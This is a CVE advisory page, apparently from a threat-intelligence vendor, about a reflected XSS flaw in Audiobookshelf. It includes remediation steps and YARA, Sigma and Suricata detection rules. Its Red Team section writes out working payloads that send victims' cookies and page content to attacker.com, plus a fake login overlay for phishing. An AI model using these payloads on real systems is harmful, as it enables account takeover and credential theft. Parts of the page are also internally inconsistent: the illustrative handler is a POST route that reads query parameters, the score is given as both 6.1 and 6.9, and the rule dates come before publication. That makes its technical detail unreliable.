☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-46338

CVE-2025-46338 Cross-Site Scripting in Audiobookshelf
📅 PUBLISHED: 2025-04-29 04:34 UTC 🔄 UPDATED: 2026-09-23 20:24 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.34%
👁️
0.34% probability
8.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-46338 is a reflected cross-site scripting (XSS) vulnerability in the Audiobookshelf self-hosted audiobook and podcast server, affecting versions prior to 2.21.0. The flaw resides in the /api/upload endpoint, where the libraryId parameter is improperly sanitized before being reflected in server error messages. An attacker can craft a malicious URL containing JavaScript payloads in the libraryId field; when a victim visits this URL, the payload executes in their browser context. This can lead to session hijacking, credential theft, or unauthorized actions on behalf of the victim. The vulnerability has been patched in version 2.21.0.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Audiobookshelf is distributed as a Node.js application via npm and Docker images. The vulnerability is not a supply chain compromise but a code-level input validation flaw. Users should verify the integrity of their installation by checking the official GitHub repository and npm package signatures. No malicious packages have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must click a crafted link)
  • Scope: Changed (impact may extend beyond the vulnerable component)
  • Confidentiality Impact: Low (potential access to session tokens or sensitive data)
  • Integrity Impact: Low (ability to modify content or perform actions as the victim)
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and potential for session hijacking elevate the risk in environments where Audiobookshelf is exposed to untrusted networks.

Deep Dive & Mechanics

The vulnerability exists in the /api/upload endpoint, which handles file uploads for audiobooks and podcasts. The libraryId parameter is used to specify the target library. When an invalid or malformed libraryId is provided, the server returns an error message that directly reflects the unsanitized input. An attacker can inject JavaScript code into the libraryId parameter, which is then executed in the victim's browser when the error page is rendered.

Attack Flow:

  1. Attacker crafts a URL: https://victim-server/api/upload?libraryId=<script>alert('XSS')</script>
  2. Victim clicks the link or is redirected to it.
  3. The server processes the request, fails validation, and returns an error page containing the injected script.
  4. The victim's browser executes the script, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The libraryId parameter is not sanitized or encoded before being included in the error response. This is a classic reflected XSS pattern.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 2.21.0):

// In the upload handler
app.post('/api/upload', (req, res) => {
  const libraryId = req.query.libraryId;
  // ... validation logic ...
  if (!isValidLibrary(libraryId)) {
    return res.status(400).send(`Invalid library ID: ${libraryId}`);
  }
  // ... rest of upload logic ...
});

Patched Code (2.21.0):

// In the upload handler
const escapeHtml = require('escape-html');
app.post('/api/upload', (req, res) => {
  const libraryId = req.query.libraryId;
  // ... validation logic ...
  if (!isValidLibrary(libraryId)) {
    return res.status(400).send(`Invalid library ID: ${escapeHtml(libraryId)}`);
  }
  // ... rest of upload logic ...
});

The patch uses escape-html to encode HTML special characters, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A vulnerable Audiobookshelf instance (version < 2.21.0)
  • A victim user with an active session

Exploitation Steps:

  1. Identify the target server: https://target-server
  2. Craft a malicious URL with a JavaScript payload:
    https://target-server/api/upload?libraryId=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  3. Deliver the URL to the victim via phishing email, social media, or other means.
  4. When the victim clicks the link, the script executes and sends their cookies to the attacker's server.

Advanced Payloads:

  • Session hijacking: <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
  • Credential theft: <script>var i=new Image(); i.src='https://attacker.com/steal?data='+btoa(document.body.innerHTML);</script>
  • Phishing overlay: <script>document.body.innerHTML='<form action="https://attacker.com/login" method="POST"><input name="username"><input name="password" type="password"><input type="submit"></form>';</script>

Blue Team

Detection:

  • Monitor web server logs for requests to /api/upload with suspicious libraryId parameters containing <script> tags or other HTML/JavaScript.
  • Use WAF rules to block requests with libraryId containing <, >, script, onerror, etc.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup:

  1. Deploy a vulnerable Audiobookshelf instance using Docker:
    docker run -d -p 1337:80 ghcr.io/advplyr/audiobookshelf:2.20.0
    
  2. Access the web interface and create a library.
  3. Craft the exploit URL and test in a controlled browser environment (e.g., using Burp Suite or a local proxy).

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /api/upload with libraryId containing <script> or other HTML tags.
    • Outbound connections to unknown IPs or domains from the victim's browser (e.g., attacker.com).
  • File IOCs:
    • Suspicious entries in web server access logs showing libraryId with encoded or raw JavaScript.
  • Behavioral IOCs:
    • Unexpected redirects or pop-ups in the Audiobookshelf interface.
    • Unauthorized changes to library settings or user accounts.

Detection Engineering

YARA Rule

rule CVE_2025_46338_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Audiobookshelf /api/upload endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46338"
    strings:
        $xss_payload = /libraryId=.*<script[^>]*>.*<\/script>/i
        $xss_event = /libraryId=.*on\w+\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Audiobookshelf /api/upload
id: 8f7b3a2c-1e5d-4f9a-8c6b-7d2e3f1a0b4c
status: experimental
description: Detects HTTP requests to /api/upload with suspicious libraryId parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "/api/upload?libraryId="
        cs-uri-query|re:
            - "<script"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of library IDs containing special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-46338 - Reflected XSS in Audiobookshelf /api/upload";
    flow:to_server,established;
    content:"/api/upload"; http_uri;
    content:"libraryId="; http_uri;
    pcre:"/libraryId=.*<script[^>]*>.*<\/script>/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Audiobookshelf to version 2.21.0 or later.
  2. If immediate upgrade is not possible, implement a WAF rule to block requests with libraryId containing <, >, script, or event handlers.
  3. Restrict access to the Audiobookshelf web interface to trusted networks only.

Long-term Measures:

  • Enforce input validation and output encoding for all user-supplied data.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Conduct regular security audits and penetration testing.
  • Monitor for similar vulnerabilities in other endpoints.

Patch Verification:

  • After upgrading, verify the fix by attempting the exploit in a test environment.
  • Check the version number in the Audiobookshelf admin panel or via the API.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-46338/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.